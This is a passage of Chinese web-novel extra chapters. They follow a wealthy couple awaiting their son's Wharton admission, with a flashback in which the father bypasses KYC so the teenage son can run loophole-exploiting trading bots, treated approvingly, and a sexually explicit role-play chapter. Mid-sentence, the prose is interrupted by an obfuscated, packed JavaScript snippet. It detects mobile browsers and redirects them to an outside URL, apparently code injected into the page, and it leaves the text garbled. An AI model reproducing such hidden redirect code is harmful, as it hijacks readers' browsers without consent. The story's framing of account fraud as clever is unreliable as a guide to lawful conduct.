这话说得不能再理直气壮,甚至带点居高临下。 不是? 小宝贝才刚服软。 这位哥们已经开始蹬鼻子上脸了? 真是有因必有果。儿子青春期的叛逆不全是意外,是有样学样。 迟铎第一次摘下对老公的滤镜,客观地认识了一下裴与驰。 当然摘下滤镜的时间也很短。 毕竟他老公,是真的正值大好年华——各方面都是。 迟铎很快就体验到了。 65.青春期终[番外] 今天,气氛很凝重。迟铎很少这么形容家里。一般来说,他们家通常只有三种状态:岁月静好;青少年不宜;青少年不小心看到,但大家非常努力地当作什么都没发生。 而今天,不属于任何一种。 裴与驰和迟铎并排坐在书桌前,潮男和高定男的装备全部退场,身上只剩每逢儿子重要时刻必穿的应援短袖。 TEAM ETHAN。 很土,也很美式父母。 骨折事件之后,迟铎把低调的奢华风格彻底判了死刑,带着后领那行“ETHAN’S DAD”也一起。那一小撮字,头发一挡、领子一皱,就像从世界上消失了。 不怪设计,怪裴砚舟眼神不争气。 于是迟铎立刻全面升级,正面“PROUD DAD”“PROUD MOM”,背后再来一行巨大的ETHAN。确保无论裴砚舟从哪个角度看,都能全方位感受到父母的爱。 裴与驰看完效果图:“……印。” 多一事不如少一事。 迟铎更来劲,又把后领那行小字保留下来当防伪码,告诉儿子:“你看,你爸不仅爱你,你爸还爱得很细致。” 要这样,裴砚舟都还看不清他爸到底爱不爱他,他妈咪就要不客气了。 迟铎准备拎着儿子去做飞秒,毕竟这眼神,真的不能再拖了。 但今天先不翻旧账。 今天是裴砚舟重要的人生节点:ED放榜,沃顿到底对不对他说yes的日子。 裴与驰其实很早就知道裴砚舟想去哪儿,迟铎之前还在做梦。 他提醒过一句:“solid C生不出莎士比亚。” 迟铎:“……” 但前几年裴砚舟青春疼痛文学按时上线,敏感得离谱,迟铎还是很乐观地以为:也许名字真起对了,自家宝贝的天赋真点在风花雪月。 他幻想裴砚舟下雨天能赏景吟诗——不像自己,只会开心终于能打酷伞;裴与驰也好不到哪去,只会嫌弃到处都很脏。俩人加起来凑不齐一句浪漫话,所以儿子要真能补上这块文化缺口,迟铎愿意当场给莎翁上香。 路线他都规划好了:去个小小的文理学院,白天雪地里聊康德和莎士比亚,晚上点香薰蜡烛写作,周末穿旧毛衣去反消费主义游行。 至于旧毛衣是Loro Piana?别管。骆马绒更保暖。反消费主义也要注重基本生存。 写不出论文也没关系,还能跑到他爸公司楼下举牌子,写上他爸的大名,控诉无耻的华尔街资本家收割穷苦人民,要求他立刻停止作恶、当场忏悔。 要是他真学Jim Hacker的女儿□□抗议也不是不行,前提是他自己对身材有信心。迟铎可以在旁边掐着点递羽绒服,顺便给他鼓掌。 毕业更不用愁,当个专栏作家就行。写出来没人看也没关系,他们全买了。 裴与驰负责把书塞进员工入职、离职大礼包里;迟铎负责拿裴砚舟的书写亲签送粉丝。主打一个用父母的金钱和流量硬抬儿子的文艺自尊,顺便祸害一下无辜群众。 毕竟资本家和公众人物也得承担一点文化输出的社会责任。 迟铎越想越觉得日子有奔头。以至于每次裴砚舟青春期发病,他都能在心里安慰自己:忍过就好了,这可是未来的诺奖文学预备役。 当然,迟铎从来没认真想过另一种可能:万一裴砚舟真走上这条路,哪天跑去非洲采风,爱上自然,决定照顾动物不回来了,他怎么办? 顺便裴砚舟大概率还会发封邮件告诫他父母:人类是罪恶的,请把钱全捐给动物救助基金。谢谢,勿念。 迟铎也没逃脱俗世。捐钱可以,但别想他们捐完。条件还得加一条:人必须立刻给他滚回来。 他不想收到的最后一张照片,是儿子被狮子咬掉半个脑袋。 迟铎的幻想就这样持续了很久。直到两年前,一通来自学校的电话,把他的莎翁香火当场吹灭,他终于被迫接受现实。 他们俩久违地被学校叫了家长,罪名是不当行为。 迟铎第一反应:完了,文学青年写出事了? 结果校长语气很客气,说话很委婉:“Ethan可能误用了学校的网络,造成了一些他不太了解的不当行为。” 迟铎:“……” 他不会看OnlyFans去了吧? 其实挺合理。 他确实没在宿舍、也没在卧室发现过花花公子杂志。时代进步,纸媒淘汰,而裴砚舟是新时代男孩,网上订阅实在太正常了。 一切都很合理。 甚至连他最近脾气大都合理了——荷尔蒙无处发泄嘛。 迟铎就这样毫无心理负担地污蔑儿子。 校长:“他写了一个程序,通过学校的网络,利用交易所规则漏洞,一夜赚了十万刀。” 校长终于把来龙去脉讲明白了,并且重音也恰到好处,着重停在“学校的网络”上。 迟铎:“……十万刀?” 文艺青年没有,金融罪犯来了。 行,他家职业挺多样化的。 唯一不变的是,都爱赚快钱。 校长又补了一句,语气依旧很认真:“最主要的是,Ethan年纪这么小,是通不过平台KYC的。他是怎么拿到这个账户的?” 这句话听起来像在跟家长一起复盘事故原因,但校长的眼神不经意扫过裴与驰那一秒,答案其实已经写在脸上了。 迟铎:“……” 怪不得学校强调家长最好一起来。 原来有共犯。 事情追溯到两周前,裴与驰的办公室。 裴与驰当时正在看邮件,头都没抬:“你要什么。” 裴砚舟冷着脸:“给我开个账号。” 裴与驰:“你成年了?” 裴砚舟:“没有。” 裴与驰:“那你开什么。” 裴砚舟:“赚钱。” 裴与驰终于抬眼,看了他一秒。下一秒,他按了下内线。 “Fiona,”裴与驰语气平静,像在交代一份再普通不过的日常工作,“给他弄一个能用的。” 秘书:“……好。” 在纽约的好处就是,永远能第一时间赶上金融最新潮流。裴砚舟去找他爸之前,先研究了一圈电子资产交易所的平台规则,发现根本不需要上什么合约杠杆,也不需要赌涨跌,因为它们本身的活动漏洞就多得离谱。等账号到手,他写了几个bot,专挑凌晨丢出去跑。 第二天早上,他手机弹了一下,是到账通知。裴砚舟看了一眼,非常平静地把手机扣在桌上。 十万刀到手。 free money。 他一点没觉得自己游走在灰色边缘。毕竟凌晨跑完就收工,钱顺利进账,平台没封号,学校的风控也风平浪静。 他理直气壮,觉得自己一切按规则来。 直到学校IT部门月底对账、回溯日志,才发现学生里出现了一个“明日之星”。 他被请了家长。 迟铎坐在校长办公室里,忽然觉得自己前面那些“文理学院”“诺奖文学”……全都像一场笑话。 他抬眼看了眼裴与驰,又看了眼裴砚舟。 行。 接下来校长依旧很客气,半个字不提“潜在的违法犯罪”这类破坏气氛的词,甚至还称赞了裴砚舟的“创造力”。裴与驰也很适时地接话,内容还很贴心:“我可以保证,这件事只跟监护人有关。以后不会有任何法务函件送到学校。” 校长当场松了口气,笑容更加真诚,顺带夸了裴砚舟标化成绩十分优秀。最后裴砚舟只吃了一个警告就脱身,没有suspension,也没有记过,体面得像一场误会——如果忽略那十万刀的话。 从校长办公室出来,迟铎决定先怪上梁。 他转头看向裴与驰,控诉得很真诚:“你给他开什么账户?现在好了,一个金融——”迟铎看了儿子一眼,还是不舍得把话说太重,硬生生拐了个弯:“……冉冉升起。” 裴与驰脚步都没停,轻描淡写:“十万刀而已。” 迟铎:“?” 裴与驰补了一句:“他们真要追究,我可以随时把资产转出去。” 迟铎:“………………” 裴与驰还没说完,语气甚至带点赞同:“而且这本来就是他们能力不行。漏洞摆在那儿,不用白不用。” 一脉相承的理直气壮,甚至还挺骄傲。 迟铎这下算是懂了,怪不得裴与驰当年还在上学,就能赚得又快又多。 感情自己枕边睡的,也不是什么金融精英。 是潜伏已久的金融犯预备役。 裴砚舟在旁边很老实。除了听见老爸那句夸赞后嘴角极轻地弯了一下,其他时间都乖乖跟在妈咪旁边,一副很无辜的样子。 迟铎看着这一大一小两个冷脸男,第一次觉得——遗传得太多,也不是什么好事。 上梁被金钱腐蚀得过深,神仙难救。迟铎当机立断:放弃上梁,全力抢救下梁。 他转头看向裴砚舟,语气温柔得像在哄幼儿园小朋友:“钱在哪?” 裴与驰好歹也算洗白上岸了…… 迟铎心里刚冒出这个念头,就自己先卡了一下。 吧? 他突然有点不确定。 倒不是怀疑老公的能力,是他现在真的判断不了,华尔街的道德底线和犯罪标准,到底怎么划线。 迟铎越想越心虚。 算了。 不管裴与驰到底算不算上岸,至少儿子不能再往水里跳。迟铎只想让裴砚舟把钱还回去,别真把这种灰色收入,当成人生第一桶金。 “花了。”裴砚舟很无辜。 他把手机递过来,顺手拉开账单,给妈咪现场验货。 迟铎:“……………………………………………………” 得。 他自己也不干净。 这十万刀,原来早就被他和裴与驰花掉了,花在他们的结婚纪念日上。 纪念日那天,他们才刚起床。迟铎还在迷迷糊糊摸手机,裴与驰甚至还没来得及出手,裴砚舟就已经开启了一套眼花缭乱的庆祝流程。 下楼那一刻,迟铎差点以为自己昨晚睡在了别人家。整个一楼像被婚礼策划公司入侵过:花艺从玄关一路铺到客厅,连楼梯把手都没放过。长桌上点了两排蜡烛,蜡烛前后全是花球。地板上还用花瓣层层叠叠拼了巨大一行字:HAPPY ANNIVERSARY。 迟铎:“……” 他下意识去看裴与驰,裴与驰也在看。两个人对视一秒,幕后黑手当场锁定。 迟铎转头,盯着儿子:“你干的?” 裴砚舟点头,冷脸写满四个字:理所当然。 还没完。 门铃响了一声,一队穿黑西装的工作人员拎着琴盒进来,客厅角落里迅速摆好谱架,弦乐四重奏就位。紧接着,私厨也从厨房冒出来,开始摆盘。 迟铎:“…………” 下一秒,裴砚舟清了清嗓子,像在主持什么高端私人宴会开场,语气冷静又专业:“Enjoy your day.” 他看向父母,停顿两秒,像在进行某种心理建设,最后面无表情地吐出两个词: “……Amy, Steve.” 迟铎:“……………………” ——这是他俩最近爱玩的舞娘恩客play名字。 现在被他们十几岁的儿子当众念出来,还念得字正腔圆。 裴砚舟念完还不算,甚至很职业地鞠了个躬,右手放到左胸口,动作标准得像训练过的私人管家。然后他后退一步,礼貌退场。临走前还补了一句,像交代行程: “我还订了红酒泡池spa。” “你们……自由发挥。” 裴砚舟自认十分体贴。知道自己老爸一定有所准备,也不喧宾夺主,他只负责把氛围先堆满。 迟铎:“……………………………………” 儿子游走灰色边缘,灰钱全给爸妈花了。 听起来裴砚舟孝顺又命苦。 行吧。 既然一家三口都被拖下水了,那谁也别说谁。 迟铎深吸一口气,迅速完成心理建设,并且坦然接受了这个事实。 把文艺青年幻想当场扔掉,全力支持儿子上商学院。 所以现在—— 回到今天。 Wharton。 迟铎嘴上没念出来,但这两个音节最近已经在他脑子里循环播放,洗脑程度堪比“你爱我,我爱你,蜜雪冰城甜蜜蜜。” 他不需要了解它有多好,他只需要了解一件事:这是Ethan最想要的。 儿子想要,那就必须拿到。 拿不到,破学校原地倒闭。 他已经进入战备状态:只要瞄到regret或者we are unable等关键词,他就立刻关页面,假装什么都发生,然后启动 Plan B、 C、D,确保儿子不会当场破碎。 为了确保自己能在第一时间拦截悲伤,迟铎还专门去配了副眼镜。不到一百度的近视,平时根本懒得戴。但今天不行。邮件打开的那一秒,他必须第一时间看清到底是congratulations,还是regret。 眼神不能掉链子。 当然,迟铎也没把希望全押在眼镜上,他早早做了预案,让裴与驰去公司里抓了个沃顿苦力,来给小裴总的人生大事打工。于是那位可怜的data engineer,被迫把沃顿和其他顶尖商学院的评价全爬了一遍:差评好评分门别类,优点缺点一目了然。 最后还被强行加班,单独写了一份《沃顿负面评价精选》。 主旨只有一个:一如既往地溺爱儿子。 录了就夸,没录就骂。 反正不可能是裴砚舟的问题,只能是破学校完全配不上他。 为了配合这份母爱,那位苦力只能昧着良心,把自己母校骂得一塌糊涂。骂到一半,他其实有点崩溃:不靠母校,他简历都过不了初筛,更别提给大老板干这种私活。 但他低头看了一眼进账。 在华尔街混,良心这种东西本来就应该随时寄存在家,于是他又多骂了几句。 裴与驰倒是很松弛。他甚至在这时候,临时开了个视频会议。 迟铎侧目:“你现在还有心情开会?” “无聊。”裴与驰语气平静。 迟铎:“????今天是你儿子很重要的一天!” 裴与驰“嗯”了一声,很嫌弃地看了下自己的衣服,示意想忘记都不行。 “你一点都不紧张?” 裴与驰神色不变:“结果又不会因为我紧张而改变。” 迟铎:“……” 华尔街中鳄,稳定发挥。 更离谱的是,他开完会又顺手把员工名单翻了一遍,看谁不再适合留在公司。 迟铎:“……” 不是?儿子马上要开盲盒了,他在这儿随手开人? 不给儿子积德就算了,还要先造点孽,迟铎觉得这顶级变态资本家真没救了。 门口传来动静。 裴砚舟进来的时候头发还在滴水,脖子上搭着毛巾,显然刚从健身房出来。他扫了一眼书房里的阵仗,又低头看了眼自己爸妈身上的衣服。 视线停了一秒。 “……你们这是干什么。” 迟铎已经无力吐槽这一个模子刻出来的松弛,只拍了拍椅子:“来,坐。” 邮件里的链接刷新。 加载那两秒,迟铎没说话,只是下意识把呼吸放轻。他知道自己现在这副如临大敌的样子多少有点丢人,但他怕裴砚舟难过。 裴与驰当年对大学没执念,牛剑的录取摆在那儿,他都能随手放弃,转头去LSE。理由也很金融男:地理位置更好。 裴砚舟不一样,这小孩对沃顿的执念,重得像青春期暗恋。 迟铎一度怀疑:沃顿里是不是有谁:可爱的小女孩,或者小男孩,让他儿子突然懂得了人类的热爱。 为此,他甚至跟踪过自家puppy的行程。 ……没跟出任何桃色新闻。 干干净净,纯粹得像一场学术迷恋。 ……校性恋,很新的一种赛道。 迟铎收回八卦之心。 行吧,不管了。儿子想去,那就必须去。 因为如果沃顿不说yes,他家这只puppy表面不会怎样,心里一定会碎。 毕竟他老爸当年拿Oxbridge offer,跟拿外卖一样不费力。 网页加载结束。 下一秒,页面跳出来—— Congratulations! You are invited to join the class of 20xx at the university of Pennsylvania for study in the Wharton school。 迟铎盯着那行字看了两秒,像确认自己没看错,然后才慢慢吐出一口气,肩膀都松下来。 他抬头看向裴砚舟,语气很轻,却压不住那点得意:“厉害啊。”顿了顿,又补了一句,笑意终于露出来:“恭喜宝贝。” 裴砚舟没吭声,耳朵却悄悄红了一点。 迟铎视线扫过最后的两个单词:Wharton School. 他眨了下眼,像忽然想起什么,转头看裴与驰,笑得更明显了:“喂。你儿子第一步就超过你了。” 裴与驰看了一眼屏幕,神色没变:“嗯。” 大方承认。 还补了句:“Well done.” 迟铎:“……” 把我老公还给我。 “Thanks, daddy.” 裴砚舟接得很快。 迟铎:“………………” 我儿子也被不明生物附体了? dad……dy?他没听错吧? 这词他十多年没听到了。上一次还是裴砚舟带着奶音,口水糊他爸一脸的时候。 现在突然复活,是沃顿给他儿子下了什么蛊吗? 世界在这一刻变得极其不真实:冷脸没了,叛逆期暂停,父慈子孝得像广告片。 沃顿到底是什么神丹妙药。 迟铎当场决定:晚点就去把沃顿的卫衣全买了,尺码从XXXS到XXXL,一个不落。 放家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077256|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里每天沐浴焚香供奉。 双喜临门啊。 迟铎心里终于踏实了。心碎文学撤回,从今天开始,改写爽文。 迟铎还沉浸在自己不用昧着良心污蔑学校的喜悦里,结果下一秒就被身边人捅了一刀。 裴砚舟看了眼手机里老爸发来的、妈咪没用上的痛骂沃顿演讲稿,没忍住笑了一下,走过去抱住迟铎。 “Love you, mommy.” 他停了停,很认真: “Honestly,the Brits just aren’t your crowd.” 妈咪这篇骂校稿,下笔如刀,句句带血,显然是当年英国佬不识货,才误给这位当代鲁迅一个C。 裴与驰在旁边没憋住,低低笑出声。 “嗯。”他还一本正经地点了下头:“同意。” 迟铎:“……” 这父子俩真的够了,两位阴阳大师,专挑他陈年旧伤反复摩擦。 更早的时候。 裴砚舟还没把“Wharton”两个音节挂在嘴边,迟铎也还没进入战备状态。 裴与驰那会儿对“最后上哪所大学”确实没什么执念。迟铎在餐桌上提过一次,他连头都没抬,只回了一句:“随便。” 过了一会,他把手机扣在桌上:“能不能赚钱,跟学校关系不大。”停了停,又补一句:“跟基因关系比较大。” 藤校当然好用:包装得更漂亮,更好骗投资人。 但也就那样。 但裴砚舟为了这个结果,辛苦卷了六年。 裴与驰看在眼里,评价只有一句:没必要,完全浪费时间。 他更希望裴砚舟把时间花在更“有用”的地方:比如继续研究规则缝隙里还有没有free money;比如琢磨怎么fake it till you make it,让投资者心甘情愿为他下注。 找不出答案也不要紧。重要的是别太蠢,别被人骗。 偏偏裴砚舟不听。学习和课外活动都刻苦得离谱,像在跟谁较劲。 裴与驰看得烦,冷淡地丢了一句:“少跟那些无趣的理工书呆子混在一起死读书。” 他顿了顿,话说得更难听:“小心堕落成一个善良的蠢货。” 他不擅长讲温情,更不可能示弱。他宁愿被误解,也不肯把“我很关心你,你不用这么拼,我养你一辈子”这种肉麻话说出口。 更何况,裴砚舟已经有个溺爱到不行的妈咪。他要是再温情一点,结局大概是迟铎趴在他身上哭,一边哭一边翻报纸。头版标题都替他写好了:“某华尔街知名人士为儿子缴纳天价保释金。” 然后哭得更大声。 话音落下,客厅安静了两秒。 迟铎的表情先变了,裴砚舟什么都没说,转身就开始收拾东西。 他当晚直接去那个“无趣理工书呆子”的朋友家过夜。 短信不回,电话不接,像人间蒸发。 最后干脆托人递话:未来宁愿睡朋友家的车库,也绝不回家。 迟铎简直心力交瘁。 一边觉得儿子这副头悬梁锥刺股的架势确实吓人,已经到了需要拎去看therapist的程度;一边又觉得老公的嘴实在太毒,青春期的小朋友听不懂潜台词,也受不了这种阴阳怪气。 这一次,迟铎没法昧着良心站裴与驰那边。他一把把裴与驰推出门:“去,把你儿子接回来。不然你也别回来了。” 说完他又觉得威胁力度不够,强调道:“到时候我立马谈恋爱。” “带着我新男友——”迟铎停顿两秒,嘴角一挑,冷笑道,“好好花你这个前夫的钱。” 这场家庭战争才终于按下暂停键。只是父子关系也跟着一起进入了青春期:脆得离谱,一碰就碎。 直到骨折事故之后,裴与驰才终于看清楚一件事:裴砚舟这么拼,不是为了当书呆子,也不是因为沃顿有多好,是因为他崇拜自己。所以他要走一条完全一样的路,拿一模一样的答案。他要的根本不是录取,他要的是——我想,并且也可以,成为你。 那一刻裴与驰才意识到,自己以前那句“没必要,浪费时间”,落到裴砚舟耳朵里,大概等于:你不够聪明,你不够强,你做不到。 他当然不是这个意思。他当年拼命从零到一,就是为了让裴砚舟以后可以不用吃苦,安心躺好,当个废物。 可裴砚舟偏偏不想躺,他想赢得像他爸一样。 所以裴与驰改口了,改得很彻底。 当然,他没学会说人话,他只是换了个方式回礼。 申请季刚开始的时候,裴砚舟桌上多了一封推荐信,抬头干净利落:FED的老大。 很现实,很庸俗,也很裴与驰。 他没跟儿子讲什么“加油”“你一定可以”,他只把能加的筹码都加上,让沃顿那句YES来得更容易一点。 裴与驰的爱,大概就长这样。 所以跟迟铎的紧张不同,裴与驰从头到尾都没觉得沃顿会拒绝裴砚舟。不是盲目自信,是他习惯把“万一”提前处理掉。 推荐信是FED那位写的,沃顿再高冷,也不至于连面子都不给。更何况,前几天他才跟沃顿的校董吃过饭。对方夸他太太挑的领带夹有品味;他顺手捐了七位数,表达对商学院的喜爱和支持。 儿子想爬藤这事说到底也不复杂,裴与驰本来就是想让老婆孩子躺,不至于连一张入场券都给不出来。 所以等待的过程确实挺无聊。唯一的乐趣,是看迟铎紧张得不行:坐在那儿,呼吸都放轻了,戴着黑框眼镜,紧盯着屏幕,手指悬在鼠标上——像随时要凭借自己玩 fps打枪几十年的功力,精准拦截儿子可能出现的悲伤。小心翼翼的样子,莫名像那种在办公室被欺负得很厉害的、无害的、边缘的、受气包。仿佛下一秒就要小声说一句:对不起,我不是故意的。然后被人欺负得更厉害。 裴与驰看着,觉得可爱得离谱。 迟铎真的很认真地相信,他们儿子的大学录取是开盲盒。 而裴与驰只想说:宝宝,这不是盲盒,这是我下单定制的。 不过他开口,说的却是另一句话:“眼镜等会别摘。” 迟铎还没反应过来,裴砚舟先翻了个白眼。 ……又开始了。 裴砚舟懒得吐槽父母的精力是有多旺盛。他随意看了一眼还亮着的屏幕,努力了六年,终于拿到理想的结果,感觉也,就那样。 吵架那次之后,他其实偷偷想过:老爸那套话难听归难听,但确实没错。 以前他执念很重,总想1:1复刻老爸的路径。偏一点就焦虑。但卷多了真容易歪,跟理工男混久了,脑子会短暂长出一些很崇高、也很不赚钱的东西,比如“人类未来”。比如“文明意义”。 幸好他清醒得也快。星辰大海很浪漫没错,但他从小耳濡目染:他爸对他妈的浪漫,从来不是靠许愿实现的,是靠真金白银砸出来的。 庸俗之家出庸俗之人。 他不想以后只能给另一半戴一个“用研究领域边角料搓出来的戒指”,主打一个零成本大概念,再用半小时科普证明自己很用心。 亮瞎眼的钻石就很好,简单,粗暴,俗得坦荡。 除了被庸俗父亲彻底带歪的人生观外,他想上沃顿,其实还有一点。很多人把“信托宝贝”“爸爸的儿子”当骂人的话,急着去申MIT、申斯坦福,恨不得把“我靠自己”刻在脑门上,证明自己没被钱和关系腐蚀。 但裴砚舟没这个需求。不是因为他不行,相反,他努力的结果让他去哪儿都很有机会,但他不想。钱本来就是他爸的。资源、关系、推荐信……裴与驰给他的,他接得很自然,这不丢人。这是出生原厂配置,他不打算否认。 别人把“裴与驰的儿子”这个标签挂在他身上,对他来说完全不是羞耻,甚至没什么好解释的——他本来就是,也会一直是。 这种话他当然不会说出口。他只会换一种方式表达:去沃顿,去华尔街,坐到同一张牌桌边上,然后在某个时刻,若无其事地等一句评价: “Well done.” 就这一句,够他骄傲很久。 偏偏他嘴硬含蓄得青出于蓝胜于蓝,他父母暂时理解不了,尤其妈咪,还在执着寻找沃顿那位“神秘的、我儿子的crush”。 他甚至已经能预见自己未来去学校报到的兵荒马乱:迟铎依旧会把他当小朋友,打扫、投喂,一样不落;顺便对着他的室友进行全方位情感审讯:“你们会不会爱上对方?”想到这里,裴砚舟决定立刻去申请校外宿舍。 而此刻,他注意到他父母的表情,赶紧看了下手表,庆幸自己半小时后跟朋友有约。不然跑慢一点,Amy和Steve又要开始。哦不对,今天大概率是新剧本,名字也会更新,连片头都换了。 他完全不赞同他妈说他俩没什么文学天赋。 怎么会没有?简直是大师。 只是赛道比较小众,受众也比较精准,只服务彼此,而且还特别敬业:有角色名,有仪式感,有情绪铺垫。这种文本能力和现场执行力,确实是天赋型人才。 他为他爸妈几十年如一日的爱情喝彩,但他不太想当读者,更不想当观众。所以他半小时后必须出门。必须。 66.Amy&Steve[番外] “你真名叫什么?”Steve贴着他问,声音很低,像随口一问,又像在逼供。但他又没耐心等答案,问完的下一秒,手掌直接覆上去,强硬地捂住嘴,不让人有开口说话的机会,同时力道更狠,节奏也更快,十分不讲理。 这看上去像是一场单方面同意的刑讯,但房间的亮度又被故意调得昏黄阴暗,完全不像审讯室刺眼的白织光。紧贴的身影、热得发烫的呼吸、若有若无的香气,把暧昧一点点填满了整个房间。 身下的人被迫把所有呻吟咽回去,脊背绷得发抖,指尖抓住墙沿,指节泛白,却找不到更好的着力点,往后靠只会更难受,往前躲又躲不开。他眼睛一瞬间睁大,手下意识去掰那只手,想求个喘息空间,力气却跟不上,最后只剩下含混的呜咽,像把“求求你”三个字咬碎了溢出来,又被强迫吞回去。 Steve听懂了潜台词,从善如流地松开,下一秒手又换了位置,把前面的出口堵住,切断所有退路,动作熟练得近乎恶劣,像在示范什么叫放过,什么叫骗你的。…………………………(评) 身兼多职,干的又快又好,五星好评。 ………………………………(评) Steve依旧游刃有余,像从头到尾陷进去的只有他一个人,既不给退路,也不给解脱,只把他一寸一寸逼到最难受的地方,然后停住。 “说。”Steve慢条斯理地回到最初的问题,“不然就一直这样。” ………………………………(评) Steve笑了一声,贴得更近:“我问的是名字。” 最后名字还是没问出来。 ………………………………(评) Steve低头看了一眼,语气带着真诚的赞叹:“……哇。”他顿了顿,很自信,“每次都这么多?这么给面子。” 他赢了。Amy懒得讲话,只在心里盘算:这个每次都很难缠的客人应该被取悦到了,自己可以拿钱拿好评走人。 “我裤子被你弄湿了” Steve又开口,像大脑瞬间夺回控制权,秒变葛朗台,“要扣钱。不然给你打一星。” 现场演示了什么叫拔x无情。 “不行!”Amy一下子炸了,声音还哑着,气势却很足,“哪有事后刀的?又不是eBay和闲鱼。” Steve像是被逗乐了,慢悠悠补上一句:“除非——” Amy警觉:“……除非什么。” “你告诉我你的真名。”Steve把他抱起来,扔到床上,宣告中场休息结束。 ………………………………(评) …………………………………(评) Amy盯着那副线条流畅得过分的上半身,面无表情地想:要不以后不接他这单了,真的。下一秒,他的身体先替他做了回答。 不行。 ……技术和本钱都太好了,忍不住。 他咬着牙,最后只挤出一句:“加钟记得加钱。” 在……重新被塞满的时候,他及时加了合同补充条款:B和人各算各,B怎么被满足的不重要,但人要拿钱才满意。 ………………… 浴室的水声响起。Steve坐在床边,湿发被他随手往后拨,露出额头和高挺的鼻梁,整个人气场尽显。上半身还裸着,比起一开始,多了不少暧昧的痕迹,烟夹在指间,要抽不抽。他刚才那种坏得游刃有余的闲适表现消失不再,现在更像被什么噎住了,看起来很烦躁,还带着点说不清的火。 吹风机的声音响起来,没一会又停了。 过了一会儿,Amy从浴室出来,已经收拾得干干净净,衣服也穿齐整了,只差外套和鞋就能走人。他扫了Steve一眼,语气很淡:“走了。” Steve没应。 Amy挑了挑眉,懒得等回应,直接低头穿鞋。 “你马上就要接下一个?”Steve终于开口,声音很低,问得粗鲁又越界。 Amy头都没回,鞋带一拉紧:“关你什么事?” 打火机“咔哒”一声。烟被点燃,Steve吸了一口,火星亮起又暗下去。 “包你要多少钱?”他顿了顿,像是把某个更体面的提议硬生生咽回去,只留下最难听、也最安全的一句:“exclusive那种,只接我。” Amy穿好鞋,走到门口,手搭上门把,语气平静:“你还是自己留着用吧。” Steve的声音跟着砸过来,干脆利落:“Whore.” Amy动作没停,礼貌收下这句评价:“ Thanks." 门被拉开,冷风灌进来。Amy就这么走了。 迟铎很满意地从酒店出来,开车带着早就买好的大袋补给去裴砚舟的学校。老公留在酒店,等会儿要在行政酒廊见客户。他们真不愧是一对现代摩登夫妻,工作育儿排得满满当当,爱情也能见缝插针地安排得明明白白。毕竟,Love was everything they did in naked。 不赤身luo体摩擦、摩擦,似魔鬼的步伐,那怎么能叫爱呢? 不过裴与驰实在是太坏,这个剧本简直是给他量身定做的,把他的癖好彻底解放,直接不讲武德。 迟铎认真复盘:下次必须换个温和一点的剧本,不然自己真的扛不住。 更离谱的是,最后他竟然还骂自己“whore”。 ……他就不考虑一下吗?万一自己真走不了,儿子的补给怎么办?他那边的客户怎么办?难道要他一边喘一边在脑子里排明天的空档:几点能再给儿子送一趟;顺便替裴总接电话,断断续续地敷衍客户说 “抱歉,他现在在忙”? 偏偏迟铎也很清楚自己输在哪:他最抵抗不了裴与驰那一套。裴与驰只要冷着张脸,把语气压下来,慢条斯理地丢一句命令,哪怕只是那种“上来”“乖点”这种程度,再随口补一句像奖励又像威胁的称呼,比如:“good girl”,迟铎大概率当场就缴械投降。儿子先放一边,原则先放一边,时间管理直接原地作废。 而裴砚舟这边,他松了一口气。 保洁依旧如约而至,跟NPC一样面无表情地收拾起他的宿舍,但妈咪居然没跟在身后。缺席原因根本不用猜太久,只能在“和老爸玩嗨”跟“和老爸玩太嗨”里二选一。 只有保洁还好。加上妈咪就不一定了。宿管和他好不容易维持的、岌岌可危的友好关系,很可能当场破裂。 结果下一秒,熟悉的身影还是出现了。 裴砚舟:“……” 宿管:“……” 墙上贴着宿管新打印的白纸,红字加粗,意有所指:“洗衣机消毒和清洁已有专人维护,家长请勿触碰!!!!” 裴砚舟面无表情地拿着妈咪的手机,站在边上,生怕影响迟铎和宿管的发挥,导致自己被误伤。 手机震了一下,一条短信。 来自“A-Hubbyyy Babeeee??????”,后面跟着的三个红心,耀眼得像红色预警。 裴砚舟立刻把视线移开,生怕慢一秒就有脏东西入侵大脑。 有时候他都替他父母遗憾,甚至想认真建议他们再生个女儿,不然妈咪的“少女心事”发挥空间实在太受限了。 彩蛋: 不过如果他们真生的是女儿,青春期也很精彩。 和迟铎: 女儿戴着头戴式耳机坐在副驾,把音量开到最大,低头跟闺蜜们发短信,时不时被逗笑一下,再抱着Stanley水杯吸口水,娇憨又可爱。 迟铎却突然刹停,像发现了什么世纪大事一样,把跑车软顶“唰”一下放下来。阳光当场砸满整车,风也顺势灌进来。 他还特别热心,指着旁边不远处某个身影,语气惊喜得不行:“快看!他在这里!” “确实挺阳光帅气的。”迟铎客观评价,顺便认可了女儿的审美。 女儿前几天没忍住,又又又又把自己的少女心事分享给他。虽然从小到大,她总是被老妈在crush这件事上坑,但小棉袄气几天后又会不长记性继续贴贴,继续分享哪个男生笑起来很可爱,哪个男生打球的时候很帅,迟铎听得很认真,听完然后坑女儿,比如现在。 女儿还没反应过来,先被阳光照得一脸懵,想到来不及补防晒,手忙脚乱抬手遮额头,刚转过去—— “Mom!!!!!!!!” 她本能想往车里躲,结果迟铎今天开的是跑车:底盘低,空间小,上没遮挡,下也下不去。她只能捂脸装死,声音从掌心里闷出来:“快开走!!!!” 开玩笑,她今天想着要回家,穿得随便,运动装一套就出门了,妆也没化,头发也没弄,怎么可能被他看到! 迟铎在旁边笑得不行,笑到肩膀都抖,顺便把整个过程录下来,发给裴与驰。 和裴与驰: 女儿正处于有点嫌弃父母的年纪,觉得他们像定时炸弹:平时看着没事,一靠近同学就随时爆炸,炸得她原地社死。 比如上次迟铎来接她,她明明千叮万嘱:不要到校门口,离远一点,她自己走过去。结果迟铎转头就忘了,车直接开到她身边,还降下车窗,大声叫道:“小公主!” 女儿当场气到眼前一黑。同学们齐刷刷看过来,她想装不认识都来不及,只能硬着头皮冲过去,脸热得像要融化,恨不得把自己当场塞进书包里带走。 所以她的理想状态是:在离学校一个街区的位置放她下车,她自己走进去,不让爸妈的叮嘱追上自己,尤其不能让朋友和……他听到。 